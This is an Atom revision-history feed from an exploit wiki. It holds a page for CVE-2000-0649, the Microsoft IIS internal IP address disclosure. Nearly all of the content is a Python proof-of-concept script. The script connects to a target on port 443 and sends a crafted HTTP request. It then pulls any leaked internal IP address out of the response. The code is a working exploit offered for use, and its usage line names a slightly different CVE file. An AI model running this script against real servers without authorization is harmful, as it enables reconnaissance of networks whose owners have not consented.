<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2000-0649_Microsoft_IIS%E5%85%A7%E9%83%A8IP%E5%9C%B0%E5%9D%80%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2000-0649 Microsoft IIS內部IP地址洩露漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2000-0649_Microsoft_IIS%E5%85%A7%E9%83%A8IP%E5%9C%B0%E5%9D%80%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2000-0649_Microsoft_IIS%E5%85%A7%E9%83%A8IP%E5%9C%B0%E5%9D%80%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T16:51:02Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2000-0649_Microsoft_IIS%E5%85%A7%E9%83%A8IP%E5%9C%B0%E5%9D%80%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E&amp;diff=787&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; #!/usr/bin/env python3 # Written by Rafe Hart (@rafael_hart) &quot;&quot;&quot; Test an IP address (port 443) for CVE-2000-0649 &quot;&quot;&quot;  import ssl import socket import re import s...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2000-0649_Microsoft_IIS%E5%85%A7%E9%83%A8IP%E5%9C%B0%E5%9D%80%E6%B4%A9%E9%9C%B2%E6%BC%8F%E6%B4%9E&amp;diff=787&amp;oldid=prev"/>
		<updated>2021-03-31T06:25:39Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; #!/usr/bin/env python3 # Written by Rafe Hart (@rafael_hart) &amp;quot;&amp;quot;&amp;quot; Test an IP address (port 443) for CVE-2000-0649 &amp;quot;&amp;quot;&amp;quot;  import ssl import socket import re import s...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
# Written by Rafe Hart (@rafael_hart)&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; Test an IP address (port 443) for CVE-2000-0649 &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
import ssl&lt;br /&gt;
import socket&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    if len(sys.argv) == 1:&lt;br /&gt;
        print(&amp;quot;\nUsage: cve-2000-0643.py &amp;lt;example.com&amp;gt; or &amp;lt;IP&amp;gt;\n&amp;quot;)&lt;br /&gt;
        sys.exit(1)&lt;br /&gt;
    target = sys.argv[1]&lt;br /&gt;
&lt;br /&gt;
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
    try:&lt;br /&gt;
        s.connect((target, 443))&lt;br /&gt;
        s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)&lt;br /&gt;
        s.sendall(b'GET / HTTP/1.0\r\n\r\nConnection: close\r\n\r\n')&lt;br /&gt;
    except socket.error as exc:&lt;br /&gt;
        print(&amp;quot;Did't work: %s&amp;quot; % exc)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        new = s.recv(4096)&lt;br /&gt;
        if not new:&lt;br /&gt;
            s.close()&lt;br /&gt;
            break&lt;br /&gt;
        try:&lt;br /&gt;
            response = new.decode()&lt;br /&gt;
            pattern = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})')&lt;br /&gt;
            if pattern.search(response):&lt;br /&gt;
                print(target, &amp;quot;-&amp;gt;&amp;quot;, pattern.search(response).group())&lt;br /&gt;
        except:&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>